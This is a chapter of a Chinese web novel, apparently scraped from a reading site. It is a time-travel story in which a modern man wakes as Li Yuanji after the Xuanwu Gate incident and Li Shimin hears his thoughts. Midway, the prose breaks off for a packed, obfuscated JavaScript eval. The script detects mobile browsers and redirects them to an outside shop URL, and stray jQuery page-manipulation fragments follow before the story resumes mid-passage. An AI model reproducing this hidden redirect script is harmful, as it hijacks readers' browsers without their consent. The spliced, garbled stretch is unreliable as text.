默认冷灰
24号文字
方正启体

2. 来了来了,名场面马上就要来了

作者:执荧本书字数:K更新时间:
    元卿起身,“好。”


    经过几个小时,他已经平静下来,穿越已成为事实,他不接受也得接受。


    只是他抬头看了眼已经大亮的天空,他也住在长安,只是不是这个时空的长安。


    他不知道他在现代的身体是什么情况,是死了还是消失了?他奶奶发现他不见了,又该怎么办?还有他养的阿福和大橘,有没有人喂?


    李世民按捺下心里的惊涛骇浪,甚至顾不得他不合常理的回话,不动声色地听着他絮絮叨叨。


    阿福,大橘,奶奶?这些都是什么?


    还有,什么叫住在长安,只是不是这个时空的长安?


    玄武门的事告一段落,李世民神思不属地返回府中,而元卿却被秦王府两大将领寸步不离地押着。


    没办法,齐王殿下武力过人,箭术超群,谁知道会不会又突然反水,毕竟只要秦王一死,有机会继承大统的,就只有齐王了,他们不得不防。


    元卿已经认命了,但即便这样,程咬金还想卸了他的胳膊。


    他无奈道,“大哥,我不跑,你们那么多人看着,我能跑哪儿去?”


    天策府这群兵,全特么是暴力狂!!


    元卿很想翻白眼。


    走在前面的李世民屏气凝神,想从他的心声里分辨出一些有用的信息,但不知是不是元卿折腾得没力气了,吐槽完这句后就再也没开口。


    李世民回来,留守秦王府的人相继走出,为首的是两名身着道袍的中年男人。


    靠左边一人身量中等,眉目清和,眼神沉静如渊,行止舒缓有度,虽非雄武之姿,却自有一股儒者的端凝气象。


    走在右边的人年龄稍小一些,身形挺阔,眉目轮廓与左边那人的温润不同,他更显英挺练达,有武将的利落,又不失文士的风骨。


    仅仅一瞬间,元卿就判断出这两人是谁,历史上著名的搞事搭子——房谋杜断。


    年龄大一些,看起来像个儒者的人,应该是房玄龄了,而另一个英气内敛,如利剑归鞘,大抵就是杜如晦。


    先前处于生死危机之中,元卿根本没心情仔细观察身边的人。


    他偏头看了看神姿秀彻、俊朗无双的李世民,心里暗叹,果然不负史官大量溢美之词,真人比史书记载更加英武,既有武将的利落,又有文人的雅致。


    现在又看到了两个历史名臣,他因穿越而死寂的心才渐渐活泛起来,就连刚刚在玄武门给他带来的压抑恐惧都消减不少。


    几人相互行了个礼,房玄龄看了元卿一眼,用眼神询问老神在在的程咬金:咋回事儿?


    程咬金翻了个白眼,意思是问殿下去。


    元卿没看见他们的眉眼官司,想起杜如晦的生平,有点惋惜。


    这位善于临机立断的名臣已经没几年可活了,如果他没记错,杜如晦在贞观四年病逝,死的时候才四十六岁。


    李世民扬起的嘴角还没来得及放下来,就听到这么一句,差点没站稳一跤摔下去。


    杜如晦快死了,这怎么可能?


    他回头,眸色幽深地看了眼仿佛没有存在感似的元卿。


    这人到底是怎么知道的?


    元卿低眉顺眼,他现在的身份不过是个谋反失败的皇子,李世民没有第一时间杀他,已是侥幸。


    他不知道自己在现代的身体是怎么回事,是失踪了还是死了,他在这个时代贸然死去,是会回去还是会永远消失?一切都不得而知,他不敢冒这个险。


    李世民刚一进府,就喊道,“府医呢?府医何在?”


    他一把抓住杜如晦的手,“克明,你最近有没有感觉不适?”


    杜如晦一脸懵,摇头,“没有啊。”


    李世民松了口气,难道是后面几年才染上的病?


    “孤会安排府医,每隔一段时间给各位请一次脉,诸位都是我秦王府功臣,身体不容有失。”他道。


    众人一阵感动,躬身道谢。


    而元卿已被带到其他殿中,没有看到这一幕。


    很快,李世民换了一身干净的朝服,洗去身上的血污。


    事情已经尘埃落定,他不需要再用兄弟的血去证明自己的功绩。


    等他收拾妥当出门,元卿也被人拾掇好了,他全程把自己当做一个废物,任由侍女和小厮上下其手。


    他不知道自己这算不算改变了历史,对未来又有多少影响?他只想知道自己现在是怎么回事,又该怎么回去?


    进了太极殿后,群臣已经退去,只剩下李渊坐在御座之上,脸上神光渐消,仿佛一下子被抽干了精气神,只剩下沉沉暮气。


    李世民几步上前,跪倒在李渊身前,躬身哽咽道,“父亲,儿错了。”


    元卿老老实实跪在殿下,极力缩减自己的存在感,余光却在偷偷往上瞄。


    来了来了,《资治通鉴》记载,玄武门之变后,秦王李世民进宫,‘跪而吮上乳,号恸久之’,马上就要上演了吗?


    刚挤出眼泪,准备朝老父亲扑过去的李世民僵硬在原地,嘴角眉梢齐齐抽动,进也不是,退也不是。


    元卿疑惑,怎么不动了?


    李世民脸裂了一瞬,极力控制表情,忽略某人的心声,开始自己的表演。


    他也不说话,只是伏在李渊膝盖上,一个劲儿地痛哭,哭着哭着,竟真委屈上了,哭这些年李渊的偏心,哭自己和亲兄弟之间最终走到了这一步。


    他是真的伤心,也是真的难过,但他并不觉得自己做错了,也不后悔今日的行为,要是他不杀李建成,就永远也坐不上那个位置。


    李渊嘴唇泛白,颤抖着抬起手放在他头上,声音哑得不成样子,“我原本还怀疑你,现在不怀疑了……”


    时到今日,他也别无他法,只能说,时也命也。


    他看向殿中跪伏的四子,朝他招了招手,“四郎,你过来。”


    他的几个嫡子只剩下这两个硕果,也不知道老妻在底下会不会埋怨他。


    元卿眨了眨眼。


    你俩演父子情深,带上我做什么?


    反应了一会儿他才反应过来,他现在是齐王李元吉了,不是陌生看客。


    他爬起来,几乎是扑到了李渊跟前的,抱着他的腿,开始嚎啕大哭,“父亲,儿臣错了。”


    和李世民一样,他一个多余的字都没说,只是认错和哭嚎。


    事实到底如何,大家都心知肚明,不戳破,只不过是为彼此留一点转圜的余地。


    李世民被他的嚎声惊得差点破功,极其无语。


    这货怎么还学上他了?


    此时元卿一边嚎,一边却在心里嘀嘀咕咕。


    可惜了,唐高祖李渊早期倒也算得上深谋远虑,晚年却偏听偏信,又受枕边风影响,没有处理好两个儿子之间的矛盾,才落得白发人送黑发人的下场。


    听见他的心声,李世民手指蜷了蜷,他现在很确信,这人已经不是他的兄弟李元吉了,但究竟是谁,他却一无所之。


    李世民的哭是隐忍的,而元卿却是却撕心裂肺,哭自己突然身处异世,哭不知还能不能回去的故乡……


    一时间,整个太极殿只剩下元卿的嚎声。


    李渊原本积累起来的悲痛情绪被他生生给嚎没了。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375527|200086||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>他以前怎么没发现这小子这么能哭呢?


    “行了,都滚吧。”李渊发了话,擦了擦眼泪。


    殿门外,奉李世民之意保护李渊的尉迟恭见两人出来,快步迎了上去,“陛下如何说?”


    他眼里冒着狼光,仿佛只要李渊说得不对,他就要进去杀人似的。


    李世民轻轻点了点头,表示目的已经达到,“看父皇的意思,应当不会再阻拦我了。”


    尉迟恭松了一口气,他们忙前忙后、提心吊胆,不就是为了这一日吗。


    只是他瞥到李世民身后的人,猛地拔出腰间长刀,朝元卿砍去。


    元卿身体本能一闪,避开了他的致命一击,瞠目结舌,佯装恼怒道,“尉迟将军,你这是要卸磨杀驴吗?”


    他扫了眼对方几乎黑成炭的脸。


    果然是能当门神的人,这副凶神恶煞的模样,拿来辟邪再合适不过了。


    李世民眼神微动,门神?


    他偏头看向尉迟恭,身形魁梧,虎眼放光,往门口一杵,确实能让人退避三舍。


    尉迟恭还想再动,却被李世民阻止,“敬德,我信四郎是真心悔过,从前的事就过去吧。”


    若是真正的李元吉,他说不定会出一口恶气,毕竟对方曾经几次三番对他下毒、暗杀、诋毁,让他苦不堪言。


    尉迟恭不满,“殿下,不可妇人之仁。”


    李世民转移话题,“去东宫,是时候该清算了。”


    猜到李世民要做什么,元卿脸顿时一白。


    史书记载,玄武门之变后,东宫和齐王府男丁皆被斩杀,连襁褓里的婴儿都没有放过。


    他明白这是政治斗争的必然结果,李建成的后代要是活着,就会成为一面旗帜,后面的人就有理由和借口打着李建成的旗号行谋反作乱之事。


    但他是一个土生土长的现代人,无法见这种惨绝人寰之事,可他也知道,以他现在的处境无力阻止,他要敢提,估计自己和齐王府所有人的小命都不保。


    他当即跪了下来,“请殿下废臣为庶人,随意在长安给臣一块地,让臣了此残生,如果殿下不放心,可派兵看护,将臣圈禁。”


    李世民和尉迟恭对视了一眼,没太看明白元卿的用意。


    回到秦王府,李世民命护军将领安元寿带着一队飞骑去了东宫,斩杀东宫所有男丁,并将他们从族谱上划去。


    随后又召集文学馆众人商讨后续事宜,以及先前李元吉的请求。


    房玄龄沉吟片刻,犹有疑虑,“齐王武力过人,有神箭手之名,忠于他的人也不少,殿下如此做,会不会纵虎归山?”


    李世民缓缓摇头,“不会。”


    他无法解释自己能听见李元吉心声这件事,更无法解释,虽然李元吉还是那副皮囊,但芯子可能已经换了一个人。


    杜如晦听了片刻,开口道,“齐王不是自请废为庶人吗?那就如他所愿,看看他会不会和旧部接触,如果有一点苗头,直接解决了便是。”


    李世民觉得不用试,对方在他面前毫无秘密可言,但现在看来,只有他一个人能听见李元吉的心声,其他人不会信。


    其实把人放在身边,慢慢探究才是最好的选择,但他现在腾不出手来。


    于是他同意了杜如晦的提议,“孤在神禾塬有一片农庄,无人打理,让齐王去吧。”


    房玄龄皱了皱眉,“会不会有点远,齐王一旦脱离控制,是个麻烦。”


    杜如晦思索片刻,“把齐王府男丁留在城中为质,如果齐王真已无二心,那殿下就会多一员猛将。”


    李世民点点头,“可。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)